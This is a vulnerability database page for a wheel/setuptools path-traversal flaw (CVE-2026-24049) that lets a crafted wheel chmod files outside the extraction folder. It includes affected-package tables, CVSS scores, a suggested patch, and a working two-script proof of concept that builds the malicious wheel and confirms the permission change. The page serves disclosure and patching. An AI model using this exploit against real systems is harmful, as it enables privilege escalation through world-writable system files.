7.1high
wheel Allows Arbitrary File Permission Modification via Path Traversal
- Severity
- 7.1high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.30% (higher than 15% of CVEs)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-8rrh-rw8j-w5fxPYSEC-2026-2047
Description
wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| pypa wheel | >= 0.40.0, < 0.46.2 | CVE List |
| discovery-cli | Not specified Not affected: from 0:2.4.3-2.el10 before *, from 0:2.4.3-2.el8 before *, from 0:2.4.3-2.el9 before * | CVE List |
| automation-controller | Not specified Not affected: from 0:4.6.26-1.el8ap before *, from 0:4.6.26-1.el9ap before *, from 0:4.7.9-1.el9ap before * | CVE List |
| python-wheel | Not specified Not affected: from 1:0.41.2-5.el10_1.1 before *, from 1:0.41.2-5.el10_0.1 before * | CVE List |
| python3.12-wheel | Not specified Not affected: from 0:0.41.2-4.el8_10 before *, from 0:0.41.2-3.el9_7.1 before *, from 0:0.41.2-3.el9_4.1 before *, from 0:0.41.2-3.el9_6.1 before * | CVE List |
| network-observability/network-observability-operator-bundle | Not specified Not affected: from 1771231259 before * | CVE List |
| rhaiis/vllm-cuda-rhel9 | Not specified Not affected: from 1772160593 before * | CVE List |
| rhaiis/vllm-rocm-rhel9 | Not specified Not affected: from 1772160625 before * | CVE List |
| rhaiis/model-opt-cuda-rhel9 | Not specified Not affected: from 1787772157 before * | CVE List |
| ansible-automation-platform-26/eda-controller-rhel9-operator | Not specified Not affected: from 1777176989 before * | CVE List |
| ansible-automation-platform-26/de-minimal-rhel9 | Not specified Not affected: from 1772486590 before * | CVE List |
| ansible-automation-platform-26/de-supported-rhel9 | Not specified Not affected: from 1772525069 before * | CVE List |
| rhceph/rhceph-8-rhel9 | Not specified Not affected: from 1787550654 before * | CVE List |
| rhdh/rhdh-hub-rhel9 | Not specified Not affected: from 1770656494 before * | CVE List |
| discovery/discovery-server-rhel9 | Not specified Not affected: from 1770913597 before * | CVE List |
| rhoai/odh-feature-server-rhel9 | Not specified Not affected: from 1776338381 before *, from 1772204882 before * | CVE List |
| rhoai/odh-ml-pipelines-runtime-generic-rhel9 | Not specified Not affected: from 1770103375 before *, from 1770786633 before * | CVE List |
| rhoai/odh-modelmesh-runtime-adapter-rhel9 | Not specified Not affected: from 1772094445 before * | CVE List |
| rhoai/odh-training-cuda121-torch24-py311-rhel9 | Not specified Not affected: from 1772093252 before * | CVE List |
| rhoai/odh-training-cuda124-torch25-py311-rhel9 | Not specified Not affected: from 1772093260 before * | CVE List |
| rhoai/odh-training-rocm62-torch24-py311-rhel9 | Not specified Not affected: from 1772093338 before * | CVE List |
| rhoai/odh-training-rocm62-torch25-py311-rhel9 | Not specified Not affected: from 1772093324 before * | CVE List |
| rhoai/odh-built-in-detector-rhel9 | Not specified Not affected: from 1778262952 before * | CVE List |
| rhoai/odh-guardrails-detector-huggingface-runtime-rhel9 | Not specified Not affected: from 1778263271 before * | CVE List |
| rhoai/odh-vllm-gaudi-rhel9 | Not specified Not affected: from 1770956034 before * | CVE List |
| openshift4/ose-ansible-rhel9-operator | Not specified Not affected: from 1779252096 before *, from 1778709698 before *, from 1774856889 before *, from 1775604154 before *, from 1774851817 before *, from 1774891432 before * | CVE List |
| devspaces/devspaces-operator-bundle | Not specified Not affected: from 1774609756 before * | CVE List |
| devspaces/udi-base-rhel9 | Not specified Not affected: from 1774070844 before * | CVE List |
| devspaces/udi-rhel9 | Not specified Not affected: from 1774451954 before * | CVE List |
| stf/prometheus-webhook-snmp-rhel9 | Not specified Not affected: from 1777452540 before * | CVE List |
| quay/quay-rhel8 | Not specified Not affected: from 1770249183 before *, from 1773771962 before *, from 1773088862 before *, from 1773097621 before *, from 1770146565 before *, from 1770856103 before * | CVE List |
| quay/quay-rhel9 | Not specified Not affected: from 1770836901 before * | CVE List |
| satellite/foreman-mcp-server-rhel9 | Not specified Not affected: from 1769520238 before * | CVE List |
| rhtas/segment-reporting-rhel9 | Not specified Not affected: from 1770739020 before *, from 1770108732 before * | CVE List |
| rhtas/model-transparency-rhel9 | Not specified Not affected: from 1772614635 before * | CVE List |
| workload-availability/fence-agents-remediation-rhel9-operator | Not specified | CVE List |
| openshift-logging/elasticsearch6-rhel9 | Not specified | CVE List |
| openshift-logging/elasticsearch-operator-bundle | Not specified | CVE List |
| openshift-logging/elasticsearch-proxy-rhel9 | Not specified | CVE List |
| openshift-logging/elasticsearch-rhel9-operator | Not specified | CVE List |
| openshift-logging/kibana6-rhel8 | Not specified | CVE List |
| openshift-logging/logging-curator5-rhel9 | Not specified | CVE List |
| migration-toolkit-virtualization/mtv-rhel9-operator | Not specified | CVE List |
| mtv-candidate/mtv-rhel9-operator | Not specified | CVE List |
| multicluster-engine/assisted-service-8-rhel8 | Not specified | CVE List |
| multicluster-engine/assisted-service-9-rhel9 | Not specified | CVE List |
| openshift-lightspeed/lightspeed-ocp-rag-rhel9 | Not specified | CVE List |
| openshift-lightspeed/lightspeed-service-api-rhel9 | Not specified | CVE List |
| openshift-lightspeed/lightspeed-to-dataverse-exporter-rhel9 | Not specified | CVE List |
| openshift-lightspeed-tech-preview/lightspeed-rag-tool-rhel9 | Not specified | CVE List |
| openshift-service-mesh/grafana-rhel8 | Not specified | CVE List |
| openshift-service-mesh/istio-cni-rhel8 | Not specified | CVE List |
| openshift-service-mesh/istio-must-gather-rhel9 | Not specified | CVE List |
| openshift-service-mesh/istio-operator-bundle | Not specified | CVE List |
| openshift-service-mesh/istio-rhel8-operator | Not specified | CVE List |
| openshift-service-mesh/pilot-rhel8 | Not specified | CVE List |
| openshift-service-mesh/proxyv2-rhel9 | Not specified | CVE List |
| openshift-service-mesh/ratelimit-rhel8 | Not specified | CVE List |
| openshift-service-mesh/kiali-rhel9-operator | Not specified | CVE List |
| advanced-cluster-security/rhacs-operator-bundle | Not specified | CVE List |
| rhai/base-image-rocm-rhel9 | Not specified | CVE List |
| rhaiis/vllm-spyre-rhel9 | Not specified | CVE List |
| rhaiis/vllm-tpu-rhel9 | Not specified | CVE List |
| ansible-automation-platform-24/ansible-builder-rhel8 | Not specified | CVE List |
| ansible-automation-platform-24/ansible-builder-rhel9 | Not specified | CVE List |
| ansible-automation-platform-24/ansible-python-toolkit-rhel8 | Not specified | CVE List |
| ansible-automation-platform-24/ansible-python-toolkit-rhel9 | Not specified | CVE List |
| ansible-automation-platform-24/controller-rhel8 | Not specified | CVE List |
| ansible-automation-platform-25/ansible-builder-rhel8 | Not specified | CVE List |
| ansible-automation-platform-25/ansible-builder-rhel9 | Not specified | CVE List |
| ansible-automation-platform-25/ansible-python-toolkit-rhel8 | Not specified | CVE List |
| ansible-automation-platform-25/ansible-python-toolkit-rhel9 | Not specified | CVE List |
| ansible-automation-platform-25/controller-rhel8 | Not specified | CVE List |
| ansible-automation-platform-25/lightspeed-chatbot-rhel8 | Not specified | CVE List |
| ansible-automation-platform-26/ansible-builder-rhel9 | Not specified | CVE List |
| ansible-automation-platform-26/controller-rhel9 | Not specified | CVE List |
| ansible-automation-platform-26/controller-rhel9-operator | Not specified | CVE List |
| ansible-automation-platform-26/eda-controller-rhel9 | Not specified | CVE List |
| ansible-automation-platform-26/ee-minimal-rhel9 | Not specified | CVE List |
| ansible-automation-platform-26/ee-supported-rhel9 | Not specified | CVE List |
| ansible-automation-platform-26/gateway-rhel9 | Not specified | CVE List |
| ansible-automation-platform-26/gateway-rhel9-operator | Not specified | CVE List |
| ansible-automation-platform-26/hub-rhel9 | Not specified | CVE List |
| ansible-automation-platform-26/hub-rhel9-operator | Not specified | CVE List |
| ansible-automation-platform-26/lightspeed-chatbot-rhel9 | Not specified | CVE List |
| ansible-automation-platform-26/lightspeed-rhel9 | Not specified | CVE List |
| ansible-automation-platform-26/lightspeed-rhel9-operator | Not specified | CVE List |
| ansible-automation-platform-26/mcp-tools-rhel9 | Not specified | CVE List |
| ansible-automation-platform-26/platform-resource-rhel9-operator | Not specified | CVE List |
| ansible-automation-platform-26/platform-resource-runner-rhel9 | Not specified | CVE List |
| ansible-automation-platform-26/receptor-rhel9 | Not specified | CVE List |
| ansible-automation-platform-tech-preview/automation-dashboard-rhel9 | Not specified | CVE List |
| python3.11-wheel | Not specified | CVE List |
| ansible-automation-platform/ee-minimal-rhel8 | Not specified | CVE List |
| ansible-automation-platform/ee-minimal-rhel9 | Not specified | CVE List |
| ansible-automation-platform-tech-preview/ee-minimal-rhel8 | Not specified | CVE List |
| ansible-automation-platform-tech-preview/ee-minimal-rhel9 | Not specified | CVE List |
| python3.14-setuptools | Not specified | CVE List |
| taglib | Not specified | CVE List |
| python36:3.6/python-wheel | Not specified | CVE List |
| rhelai3/bootc-aws-cuda-rhel9 | Not specified | CVE List |
| rhelai3/bootc-azure-cuda-rhel9 | Not specified | CVE List |
| rhelai3/bootc-cuda-rhel9 | Not specified | CVE List |
| rhelai3/bootc-gcp-cuda-rhel9 | Not specified | CVE List |
| rhoai/odh-caikit-nlp-rhel9 | Not specified | CVE List |
| rhoai/odh-caikit-tgis-serving-rhel9 | Not specified | CVE List |
| rhoai/odh-kserve-agent-rhel9 | Not specified | CVE List |
| rhoai/odh-kserve-controller-rhel9 | Not specified | CVE List |
| rhoai/odh-kserve-router-rhel9 | Not specified | CVE List |
| rhoai/odh-llama-stack-core-rhel9 | Not specified | CVE List |
| rhoai/odh-modelmesh-runtime-adapter-rhel8 | Not specified | CVE List |
| rhoai/odh-model-registry-job-async-upload-rhel9 | Not specified | CVE List |
| rhoai/odh-model-registry-rhel9 | Not specified | CVE List |
| rhoai/odh-pipeline-runtime-datascience-cpu-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-pipeline-runtime-minimal-cpu-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-pipeline-runtime-pytorch-cuda-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-pipeline-runtime-pytorch-rocm-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-pipeline-runtime-tensorflow-cuda-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-pipeline-runtime-tensorflow-rocm-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-ta-lmes-job-rhel9 | Not specified | CVE List |
| rhoai/odh-training-cuda128-torch28-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-training-rocm64-torch28-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-trustyai-ragas-lls-provider-dsp-rhel9 | Not specified | CVE List |
| rhoai/odh-vllm-cpu-rhel9 | Not specified | CVE List |
| rhoai/odh-vllm-cuda-rhel9 | Not specified | CVE List |
| rhoai/odh-vllm-rocm-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-codeserver-datascience-cpu-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-datascience-cpu-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-minimal-cpu-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-minimal-cuda-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-minimal-rocm-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-pytorch-cuda-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-pytorch-llmcompressor-cuda-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-pytorch-rocm-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-tensorflow-cuda-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-tensorflow-rocm-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-trustyai-cpu-py312-rhel9 | Not specified | CVE List |
| openshift4/ose-agent-installer-api-server-rhel8 | Not specified | CVE List |
| openshift4/ose-aws-efs-csi-driver-container-rhel8 | Not specified | CVE List |
| openshift4/ose-dpu-cni-rhel9 | Not specified | CVE List |
| openshift4/ose-dpu-daemon-rhel9 | Not specified | CVE List |
| openshift4/ose-dpu-intel-ipu-p4sdk-rhel9 | Not specified | CVE List |
| openshift4/ose-dpu-intel-ipu-vsp-rhel9 | Not specified | CVE List |
| openshift4/ose-dpu-rhel9-operator | Not specified | CVE List |
| devspaces/udi-base-rhel10 | Not specified | CVE List |
| quay/quay-bridge-operator-bundle | Not specified | CVE List |
| quay/quay-bridge-operator-rhel8 | Not specified | CVE List |
| quay/quay-bridge-operator-rhel9 | Not specified | CVE List |
| quay/quay-container-security-operator-bundle | Not specified | CVE List |
| quay/quay-container-security-operator-rhel8 | Not specified | CVE List |
| quay/quay-container-security-operator-rhel9 | Not specified | CVE List |
| quay/quay-operator-bundle | Not specified | CVE List |
| satellite/iop-advisor-backend-rhel9 | Not specified | CVE List |
| satellite/iop-advisor-engine-rhel9 | Not specified | CVE List |
| satellite/iop-host-inventory-rhel9 | Not specified | CVE List |
| satellite/iop-insights-engine-rhel9 | Not specified | CVE List |
| satellite/iop-puptoo-rhel9 | Not specified | CVE List |
| satellite/iop-vmaas-rhel9 | Not specified | CVE List |
| satellite/iop-vulnerability-engine-rhel9 | Not specified | CVE List |
| satellite/iop-yuptoo-rhel9 | Not specified | CVE List |
| stf/service-telemetry-rhel9-operator | Not specified | CVE List |
| stf/smart-gateway-rhel9-operator | Not specified | CVE List |
| wheel (PyPI) | from 0.40.0 before 0.46.2 | GitHub Advisory Database, PyPA Advisory Database |
| wheel_project wheel | from 0.40.0 before 0.46.2 | NVD |
All scores
| GitHub_M | 7.1high CVSS:3.1 | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H |
| redhat-SADP | 7.1high CVSS:3.1 | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H |
| GitHub | 7.1high CVSS:3.1 | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H |
| NVD | 5.5medium CVSS:3.1 | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N |
| PyPA Advisory Database | 7.1high CVSS:3.1 | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H |
Classification
What each source says
CVE List
wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.
GitHub Advisory Database
Summary
- Vulnerability Type: Path Traversal (CWE-22) leading to Arbitrary File Permission Modification.
- Root Cause Component: wheel.cli.unpack.unpack function.
- Affected Packages:
- wheel (Upstream source)
- setuptools (Downstream, vendors wheel)
- Severity: High (Allows modifying system file permissions).
Details
The vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path.
# Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel)
for zinfo in wf.filelist:
wf.extract(zinfo, destination) # (1) Extraction is handled safely by zipfile
# (2) VULNERABILITY:
# The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'.
# If zinfo.filename contains "../", this targets files outside the destination.
permissions = zinfo.external_attr >> 16 & 0o777
destination.joinpath(zinfo.filename).chmod(permissions)
PoC
I have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack.
Prerequisites: pip install setuptools
Step 1: Generate the Malicious Wheel (gen_poc.py)
This script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list.
import zipfile
import hashlib
import base64
import os
def urlsafe_b64encode(data):
"""
Helper function to encode data using URL-safe Base64 without padding.
Required by the Wheel file format specification.
"""
return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii')
def get_hash_and_size(data_bytes):
"""
Calculates SHA-256 hash and size of the data.
These values are required to construct a valid 'RECORD' file,
which is used by the 'wheel' library to verify integrity.
"""
digest = hashlib.sha256(data_bytes).digest()
hash_str = "sha256=" + urlsafe_b64encode(digest)
return hash_str, str(len(data_bytes))
def create_evil_wheel_v4(filename="evil-1.0-py3-none-any.whl"):
print(f"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}")
# 1. Prepare Standard Metadata Content
# These are minimal required contents to make the wheel look legitimate.
wheel_content = b"Wheel-Version: 1.0\nGenerator: bdist_wheel (0.37.1)\nRoot-Is-Purelib: true\nTag: py3-none-any\n"
metadata_content = b"Metadata-Version: 2.1\nName: evil\nVersion: 1.0\nSummary: PoC Package\n"
# 2. Define Malicious Payload (Path Traversal)
# The content doesn't matter, but the path does.
payload_content = b"PWNED by Path Traversal"
# [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../'
# The vulnerability allows 'chmod' to affect this path directly.
malicious_path = "../../poc_target.txt"
# 3. Calculate Hashes for Integrity Check Bypass
# The 'wheel' library verifies if the file hash matches the RECORD entry.
# To bypass this check, we calculate the correct hash for our malicious file.
wheel_hash, wheel_size = get_hash_and_size(wheel_content)
metadata_hash, metadata_size = get_hash_and_size(metadata_content)
payload_hash, payload_size = get_hash_and_size(payload_content)
# 4. Construct the 'RECORD' File
# The RECORD file lists all files in the wheel with their hashes.
# CRITICAL: We explicitly register the malicious path ('../../poc_target.txt') here.
# This tricks the 'wheel' library into treating the malicious file as a valid, verified component.
record_lines = [
f"evil-1.0.dist-info/WHEEL,{wheel_hash},{wheel_size}",
f"evil-1.0.dist-info/METADATA,{metadata_hash},{metadata_size}",
f"{malicious_path},{payload_hash},{payload_size}", # <-- Authenticating the malicious path
"evil-1.0.dist-info/RECORD,,"
]
record_content = "\n".join(record_lines).encode('utf-8')
# 5. Build the Zip File
with zipfile.ZipFile(filename, "w") as zf:
# Write standard metadata files
zf.writestr("evil-1.0.dist-info/WHEEL", wheel_content)
zf.writestr("evil-1.0.dist-info/METADATA", metadata_content)
zf.writestr("evil-1.0.dist-info/RECORD", record_content)
# [EXPLOIT CORE]: Manually craft ZipInfo for the malicious file
# We need to set specific permission bits to trigger the vulnerability.
zinfo = zipfile.ZipInfo(malicious_path)
# Set external attributes to 0o777 (rwxrwxrwx)
# Upper 16 bits: File type (0o100000 = Regular File)
# Lower 16 bits: Permissions (0o777 = World Writable)
# The vulnerable 'unpack' function will blindly apply this '777' to the system file.
zinfo.external_attr = (0o100000 | 0o777) << 16
zf.writestr(zinfo, payload_content)
print("[Generator V4] Done. Malicious file added to RECORD and validation checks should pass.")
if __name__ == "__main__":
create_evil_wheel_v4()
Step 2: Run the Exploit (exploit.py)
from pathlib import Path
import sys
# Demonstrating impact on setuptools
try:
from setuptools._vendor.wheel.cli.unpack import unpack
print("[*] Loaded unpack from setuptools")
except ImportError:
from wheel.cli.unpack import unpack
print("[*] Loaded unpack from wheel")
# 1. Setup Target (Read-Only system file simulation)
target = Path("poc_target.txt")
target.write_text("SENSITIVE CONFIG")
target.chmod(0o400) # Read-only
print(f"[*] Initial Perms: {oct(target.stat().st_mode)[-3:]}")
# 2. Run Vulnerable Unpack
# The wheel contains "../../poc_target.txt".
# unpack() will extract safely, BUT chmod() will hit the actual target file.
try:
unpack("evil-1.0-py3-none-any.whl", "unpack_dest")
except Exception as e:
print(f"[!] Ignored expected extraction error: {e}")
# 3. Check Result
final_perms = oct(target.stat().st_mode)[-3:]
print(f"[*] Final Perms: {final_perms}")
if final_perms == "777":
print("VULNERABILITY CONFIRMED: Target file is now world-writable (777)!")
else:
print("[-] Attack failed.")
result:
image
Impact
Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files) to 777. This allows for Privilege Escalation or arbitrary code execution by modifying now-writable scripts.
Recommended Fix
The unpack function must not use zinfo.filename for post-extraction operations. It should use the sanitized path returned by wf.extract().
Suggested Patch:
# extract() returns the actual path where the file was written
extracted_path = wf.extract(zinfo, destination)
# Only apply chmod if a file was actually written
if extracted_path:
permissions = zinfo.external_attr >> 16 & 0o777
Path(extracted_path).chmod(permissions)
NVD (es)
wheel es una herramienta de línea de comandos para manipular archivos wheel de Python, según se define en PEP 427. En las versiones 0.40.0 a 0.46.1, la función unpack es vulnerable a la modificación de permisos de archivos debido a un manejo incorrecto de los permisos de archivos después de la extracción. La lógica confía ciegamente en el nombre de archivo del encabezado del archivo comprimido para la operación chmod, a pesar de que el propio proceso de extracción podría haber saneado la ruta. Los atacantes pueden crear un archivo wheel malicioso que, al ser descomprimido, cambia los permisos de archivos críticos del sistema (por ejemplo, /etc /passwd, claves SSH, archivos de configuración), permitiendo la escalada de privilegios o la ejecución de código arbitrario al modificar scripts ahora escribibles. Este problema ha sido solucionado en la versión 0.46.2.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-24049 changed 2026-09-16 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-8rrh-rw8j-w5fx changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2026-24049 changed 2026-09-10 | Public domain |
| PyPA Advisory Database | PYSEC-2026-2047 changed 2026-07-07 | CC-BY-4.0 |